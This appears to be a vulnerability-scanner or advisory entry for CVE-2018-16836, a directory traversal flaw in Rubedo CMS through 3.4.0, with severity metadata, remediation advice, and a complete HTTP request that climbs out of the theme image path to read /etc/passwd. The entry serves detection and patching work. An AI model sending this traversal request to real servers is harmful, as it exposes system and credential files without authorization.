| Title | Rubedo CMS <=3.4.0 - Directory Traversal |
|---|---|
| Author | 0x_Akoko |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server. |
| Remediation | Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch. |
| CVSS Score | 9.8 |
| EPSS Score | 0.87379 |
| CVE ID | CVE-2018-16836 |
| CWE ID | CWE-22 |
| Tags | cve2018 cve rubedo lfi edb rubedo_project vkev vuln |
Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
GET /theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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